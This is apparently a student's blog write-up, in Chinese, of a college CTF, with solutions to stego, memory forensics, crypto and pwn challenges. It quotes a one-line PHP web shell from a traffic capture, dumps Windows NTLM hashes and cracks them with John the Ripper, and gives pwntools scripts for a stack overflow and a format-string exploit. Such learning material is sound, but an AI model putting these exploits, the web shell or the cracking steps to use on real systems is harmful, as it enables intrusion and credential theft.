前两天学院的科技文化节举办了有史以来的第一届CTF比赛, 我虽然没有正式学习过, 但是可是对CTF慕名已久, 既然没机会参加正式比赛那就参加这个体验一下吧, 由于比赛要求选手做完题后提交题解, 所以顺便也在博客上放一份吧, 毕竟题解体现了我整个真实的思考过程, 说不定遇到的问题对你也有些参考价值呢~
关键词: Word隐写, 内存分析, 图片隐写, 栈溢出攻击, 格式化字符串漏洞攻击, 维吉尼亚密码, Base64隐写, 卢恩(Runes)字母, 反推Python内置随机数算法(MT19937)的种子, 反推线性同余生成器(LCG)参数

这次比赛令我收获颇丰, 尽管只有短短的32小时, 但我却感觉直接学到了许多, 也拿到了对萌新来说还算不错的成绩第三名, 差点就飘了
这次CTF比赛分MISC, WEB, REVERSE, PWN, CRYPTO五个方向, 共有29道题, 带*的是签到题. 官方题解: https://dlut-sss.feishu.cn/wiki/wikcno1vgf25sAp9pkd2E20Whje
这里就只写我做出来了的题目, 没做出来的就不写思路丢人现眼了
MISC
*elden ring
这题没有看懂是什么意思,而且也没玩过艾尔登法环
在地图上找到了红圈标注的位置,但是也没明白和教堂名字有什么关系,还发现了一张名为wifu.jpg的隐藏图片,但是无法打开,用十六进制文本编辑器打开发现文件头是jfif,但是缺少开头的FF D8 FF E0,补上后打开并用百度识图发现这是菈妮,但是还是不知道有啥关系,于是放弃
直到比赛结束前,发现此题有很多人已经做出来了,所以应该很简单,灵光一现,感觉这个教堂有可能是游戏里的教堂,于是到艾尔登法环wiki里搜教堂,发现Cathedral of Manus Celes这个符合格式,得到flag
真假CTF
下载下来的只有一张png图片,所以应该是图片隐写,用Stegsolve打开,查看各个通道,未发现明显异常,因此怀疑是最低有效位隐写,打开Analyse-Data Extract,选中RGB三通道的第0位,点击preview,得到flag
你会读外星语吗?
下载下来又是一张图片,根据经验,一张534*534的颜色变化很少的图片不可能有108k这么大,所以里面一定含有其他东西,用strings查看发现里面有很多疑似文件名的字符串,怀疑里面隐藏了一些文件,用binwalk提取后得到了一堆图片,含有一堆乱码的flag.txt和flag generator.html
这堆图片的文件名看起来是md5,于是上网随便找个反查工具,发现是1~26这几个数字,猜测对应a~z,乱码的flag.txt不知道是干什么的,所以打开了flag generator.html,上面提示把flag粘贴到pre标签里,所以把flag.txt里的内容粘贴过去,然后用浏览器打开发现这就是图片里的字符,于是就得到了flag
PS:这文字实在是太抽象了,眼睛差点没给我看瞎
死亡笔记
用wireshark打开流量包,由于是“干网站”,我们只需要查看HTTP请求,而且简单看一眼可以发现服务器的ip应该是192.168.1.176,所以先应用一下过滤器:http && ip.addr==192.168.1.176,过滤掉无关流量方便之后分析
要攻击的目标是WordPress站点,其后端是php,接下来就是一点一点看请求,还原攻击者攻击网站的过程,进而找到网站后台账号,网站后台密码,木马文件名和木马连接密码
攻击者首先访问站点,发了两条评论,然后穷举字典,扫描整个网站,发现uploads里的user.txt(包序号19558)记录了所有可能的用户名,notes.txt(包序号19713)记录了所有可能的密码,接下来就是将这些用户名和密码排列组合,尝试登录,所以直接找最后一个对wp-login.php的请求(包序号30179),其对应的响应返回302重定向说明登录成功,查看该请求的body即可拿到后台账号密码。
接下来攻击者在后台寻找能够上传木马的地方,他发现了akismet插件,于是使用WordPress自带的插件编辑器在插件开头加上了echo 1;(包序号32785),然后访问这个插件(包序号32919),发现代码成功执行,接着上传了一句话木马eval($_REQUEST[SHe1l]);(包序号33816),再发送POST请求SHe1l=echo 2;验证代码是否成功执行(包序号33984),最后执行了system('whoami');就结束了(包序号34209),因此可以得到木马文件名是akismet.php,至于连接密码,这个困扰了我半天,因为没明白这个是什么意思,思来想去这木马就一句话,也就SHe1l有可能了,结果填进去还真对了
成功打开flag.docx后发现里面居然是一片空白,并没有flag,于是到网上搜Word隐写发现Word居然有一个隐藏文字的功能,到选项中打开显示隐藏文字后即可得到flag
PS: 我还记得我小时候(10年左右)看到的大多数的攻击网站的流程都是这样的,看起来很容易,但事实上现在几乎是无法这样攻击的,因为前提是需要获取可以上传可被执行的文件的后台账户和密码,而这道题为了简化,故意把账户密码暴露出来了,否则就要靠注入/暴力穷举/社工手段获得了,然而所有的orm框架都会防SQL注入的,所以只要牢记不信任用户输入,转义防XSS注入,动态语言防代码执行即可
后面做到WEB的时候有两道题虽然我没做出来,但是给我留下了深刻的印象,一道是Python的Flask框架,这道题是直接把用户传进来的参数当做模版渲染,进而造成代码执行,然后用{{config}}可以直接看到Flask的配置,从而可以获得secret_key进而伪造cookie或进行其他操作,另一道是PHP,在CTF Wiki了解到PHP类型极弱,容易造成各种代码执行漏洞,甚至还有专门的一页讲PHP代码审计,这道题是精心构造传入的字符串,进而绕过,看了题解发现自己猜错了,其实是在shell中用$、~、(、)这4个字符构造任意整数(别骂了别骂了我太菜了),但是由于没有接触过不知道应该怎么构造只好作罢,总之我的建议是如果没有必要的话现在不要用PHP写后端,动态语言最好也不要用,例如Python和Node.js等,除非是不重要的小项目或者希望快速开发,静态语言相比之下就会安全很多preg_match匹配的模式然后执行代码输出flag(建议用go),虽然并不是没有漏洞,但至少利用起来的门槛应该是相对较高的,所以这比赛要是真有Spring的题目,那估计就不可能是个院级的比赛了
这也让我对网络安全有了崭新的认识,总结一下就是现在的大部分框架都无需担心被黑,然后自己的网站后台一定要设置强密码,不要泄露出去!!!
白某的购物密码
此题是内存分析,按照网上教程使用volatility工具进行分析
首先用imageinfo查看一下内存信息,猜测系统为win7sp1
$ volatility -f 8cf9af42.vmem imageinfo Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
然后用pslist查看进程,发现了winrar
$ volatility -f 8cf9af42.vmem --profile=Win7SP1x64 pslist 0xfffffa8001c8c770 WinRAR.exe 2572 1612 7 227 1 0 2022-02-06 14:37:11 UTC+0000
用memdump把winrar进程dump出来
$ volatility -f 8cf9af42.vmem --profile=Win7SP1x64 memdump -p 2572 -D .
提取完毕后用十六进制文本编辑器打开,搜索一些可能出现的字符串(例如flag,ctf等),发现当前打开的文件是C:\Users\Shirai_Kuroko\Desktop\flag.zip
那就用filescan扫一下打开的文件
$ volatility -f 8cf9af42.vmem --profile=Win7SP1x64 filescan 0x000000007fb6e070 16 0 -W-r-- \Device\HarddiskVolume1\Users\SHIRAI~1\AppData\Local\Temp\Rar$DIb2572.39047\flag.txt 0x000000007eae03c0 16 0 RW---- \Device\HarddiskVolume1\Users\Shirai_Kuroko\Desktop\flag.zip
我先尝试用dumpfiles提取flag.txt,但是提取出来的是空的文件,所以尝试提取flag.zip
$ volatility -f 8cf9af42.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000007eae03c0 -D .
得到压缩包,压缩包的注释提示说Shouldn't Be Only one account,所以扫一下系统用户先
$ volatility -f 8cf9af42.vmem --profile=Win7SP1x64 hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Shirai_Kuroko:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: NekoParaExtra ARS:1001:aad3b435b51404eeaad3b435b51404ee:2bef46c5bff178fd130dc6ff4de692f1:::
发现还有一个用户叫NekoParaExtra ARS,猜测其密码就是压缩包密码
因此接下来用 John the Ripper 破解密码,这里注意linux里的john是不能破解Windows账户密码的,要用Windows版的
$ john --format=NT --show sam.txt
得到压缩包密码,解压缩后得到flag
WEB
*flag maze
签到题,打开开发人员工具在元素中即可找到flag.png
PS:禁用F12似乎没啥用,可以右键菜单点审查元素,edge也可以Ctrl+Shift+I打开开发人员工具
REVERSE
*贪吃蛇
签到题,用64位ida打开,在gamecircle函数中发现得分大于299时就会打印flag,flag是直接存储在数据段中的,所以直接复制出来就行了
PWN
*hidden
$ ls -aR $ cd ... $ ls -a $ cat .flag
这目录居然叫...,太有迷惑性了,因为单独输ls -a或者ls -R都无法显示
babymaze
连上去之后发现是走迷宫,但是限时,反编译一下发现是20秒时间,再加上提示说不涉及getshell,那么就应该是写个走迷宫的程序,程序代码如下(bfs更好,但是为了写起来快我写了dfs):
#include <iostream>
#include <stack>
using namespace std;
#define N 41
#define M 21
bool maze[M][N];
deque<char> path;
bool existInPath(int x, int y) {
return maze[y][x] == 1;
}
bool dfs(int x, int y) {
maze[y][x] = 1;
if (x == 39 && y == 19) {
for (auto action : path) {
cout << action;
}
cout << endl;
return true;
}
if (maze[y][x+1] == 0 && !existInPath(x+1, y)) {
path.push_back('d');
if (dfs(x+1,y)) return true;
}
if (maze[y+1][x] == 0 && !existInPath(x, y+1)) {
path.push_back('s');
if (dfs(x,y+1)) return true;
}
if (maze[y][x-1] == 0 && !existInPath(x-1, y)) {
path.push_back('a');
if (dfs(x-1,y)) return true;
}
if (maze[y-1][x] == 0 && !existInPath(x, y-1)) {
path.push_back('w');
if (dfs(x,y-1)) return true;
}
path.pop_back();
return false;
}
int main() {
for (int i = 0; i < M; i++) {
for (int j = 0; j < N; j++) {
char ch;
scanf("%c", &ch);
maze[i][j] = ch == '#';
}
getchar();
}
if (!dfs(1, 1)) {
cout << "无解" << endl;
}
return 0;
}
执行程序,把迷宫复制进去,然后把得到的wasd序列粘贴回nc就得到flag了
PS:感觉这题不需要提供可执行文件
python
import pty
pty.spawn("sh")
$ ls -la
$ cat flag
用python自带的pty模块即可打开终端执行命令
Echo Machine
此题是栈溢出攻击,原理见栈溢出原理 – CTF Wiki (ctf-wiki.org)
首先用64位ida反编译,可以看到vuln函数循环读取输入并打印出来,shell函数可以打开终端,因此我们需要把函数返回地址替换为shell函数的地址
接下来需要确定填充长度,ida提示我们字符串距离rbp的长度为0x70,因此构造的字符串如下所示:
'a' * 0x70 + 'bbbbbbbb' + p64(shell_addr)
最后写一个python脚本将这串字符串输入进去即可:
from pwn import *
sh = process('./echomachine')
shell_addr = 0x00401236
payload = 0x70 * b'a' + b'bbbbbbbb' + p64(shell_addr)
sh.sendline(payload)
print(sh.recv())
sh.interactive()
需要注意的是程序是64位的并且python3中ASCII字符串前面要加上b,下一题同理
Echo Machine V2
此题是格式化字符串漏洞攻击,原理见原理介绍 – CTF Wiki (ctf-wiki.org)
还是用64位ida反编译,在vuln函数中可以看到用printf直接输出了用户的输入,然后下面判断了如果treasure不为0就执行shell函数打开终端,treasure是全局变量,存放在bss段中,因此我们只需要构造字符串覆盖掉位于0x004040B0处的变量即可
按照CTF Wiki的“利用-覆盖任意地址内存-覆盖小数字”中所述的方法构造字符串,这里有个小技巧,就是可以把n改成p,这样可以输出要覆盖的地址的值,方便调试,最后经过多次尝试,构造出的字符串如下所示:
'a%7$naaa' + p64(treasure_addr)
最后写一个python脚本将这串字符串输入进去即可:
from pwn import *
sh = process('./echomachinev2')
treasure_addr = 0x004040B0
payload = b'a%7$naaa' + p64(treasure_addr)
sh.sendline(payload)
print(sh.recv())
sh.interactive()
CRYPTO
*键盘侠
键盘布局加密,每行为一个字母,在键盘上比划一下即可得到flag
PS: CTF Wiki 上还有各种各样的键盘加密,这都是咋想出来的呢这么无聊
classic crypto
由题目名字可得本题是古典密码,cipher.txt里面是加密过的密文,直觉感觉数字没有被加密,且[1][2]似乎是维基百科的脚注,所以到维基百科搜索1523–1596,找到了这个https://en.wikipedia.org/wiki/Vigenère_cipher,经过对比符合此条目的前三段,得知这是维吉尼亚密码,使用CTF Wiki里的在线工具破解可得到密钥,用密钥解压缩flag.zip得到flag.txt
观察flag.txt,显然是Base64编码,但用在线工具解码后得到的却是关于Base64的科普,所以这是Base64隐写,原理见:Base64隐写简介 – 知乎 (zhihu.com),随便找个脚本或者自己写一个就能解开啦
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('flag.txt', 'r')as f:
bin_str = ''
line = f.readline()
while line:
line = line.strip()
if len(line) > 0:
if line[-2] == '=':
bin_str += bin(table.index(line[-3]))[2:].zfill(4)[-4:]
elif line[-1] == '=':
bin_str += bin(table.index(line[-2]))[2:].zfill(2)[-2:]
line = f.readline()
result = ''
for i in range(0, len(bin_str), 8):
result += chr(int(bin_str[i : i + 8], 2))
print(result)
赞美太阳
此题只有一张含有未知文字的图片,由于是CRYPTO分类,应该不涉及隐写,所以就在网上乱搜各种各样的符号文字,直到偶然发现了卢恩文字,感觉很像,所以到维基百科搜卢恩文字,然后照着转写一下就行了
卢恩字母 – 维基百科,自由的百科全书 (wikipedia.org)

随机数的力量
首先观察题目给出的脚本可知这个人用python的random模块生成了624个随机数并写入到了output文件中,然后又生成了4个随机数,分别转换成字符串拼接到一起,最后求MD5得到flag
我们在小学二年级就知道大多数编程语言的随机数算法都是伪随机,是用种子计算得到的,因此如果能根据这624个随机数反推出种子自然就求得了flag
根据这个思路,我在网上找到了方法:浅析MT19937伪随机数生成算法 – 安全客,安全资讯平台 (anquanke.com),简单修改代码后就能得到flag
from random import Random
import hashlib
def invert_right(m,l,val=''):
length = 32
mx = 0xffffffff
if val == '':
val = mx
i,res = 0,0
while i*l<length:
mask = (mx<<(length-l)&mx)>>i*l
tmp = m & mask
m = m^tmp>>l&val
res += tmp
i += 1
return res
def invert_left(m,l,val):
length = 32
mx = 0xffffffff
i,res = 0,0
while i*l < length:
mask = (mx>>(length-l)&mx)<<i*l
tmp = m & mask
m ^= tmp<<l&val
res |= tmp
i += 1
return res
def invert_temper(m):
m = invert_right(m,18)
m = invert_left(m,15,4022730752)
m = invert_left(m,7,2636928640)
m = invert_right(m,11)
return m
def clone_mt(record):
state = [invert_temper(i) for i in record]
gen = Random()
gen.setstate((3,tuple(state+[0]),None))
return gen
def StringToMd5(str):
h = hashlib.md5()
h.update(str.encode(encoding='utf-8'))
return h.hexdigest()
with open('output', 'r') as f:
lines = f.readlines()
prng = [int(i.strip('\n')) for i in lines]
g = clone_mt(prng[:624])
for i in range(624):
g.getrandbits(32)
flag = "SSSCTF{"
string = ""
for i in range(4):
s = g.getrandbits(32)
s = hex(s)[2:]
string += str(s)
string = StringToMd5(string)
flag += string
flag += "}"
print(flag)
ez_LCG
nc 连上去,发现给了一堆代码和执行过程中的几个参数,要求反推seed(即state[0])
百度一下可知LCG是线性同余生成器,是一种伪随机数生成器
$$ \begin{aligned} &N=getPrime(256) \\ &a,\ b∈[0,\ N) \\ &S_0=seed \\ &S_n=aS_{(n-1)}+b\ (mod\ N) \end{aligned} $$
此题中a, b, S0未知,N和S4, S5, S6已知,因此根据递推公式能够先求出a和b,然后往回推即可求出S0
$$ \begin{aligned} &a=(S_6-S_5)/(S_5-S_4)\ (mod\ N) \\ &b=S_6-a*S_5\ (mod\ N) \\ &S_n=(S_{(n+1)}-b)/a\ (mod\ N) \end{aligned} $$
代码如下所示(懒得写循环了不要吐槽):
from gmpy2 import *
N = int(input("N: "))
output4 = int(input("output4: "))
output5 = int(input("output5: "))
output6 = int(input("output6: "))
a = (output6 - output5) * invert(output5 - output4, N) % N
b = (output6 - a * output5) % N
output3 = (output4 - b) * invert(a, N) % N
output2 = (output3 - b) * invert(a, N) % N
output1 = (output2 - b) * invert(a, N) % N
output0 = (output1 - b) * invert(a, N) % N
print(output0)
结束语
做出来的就这些了,碍于鄙人水平所限,所有的web和逆向都没做出来(因为我不会注入和动态分析QAQ),除此之外还有一些尝试了很久感觉有思路但却没做出来的题(电信诈骗,火星文,大王卡,ezShell和RRSSAA),还是稍微有些遗憾的,但总体来说收获更大,也增进了我对信息安全的了解(有空得学一下动态分析了TAT)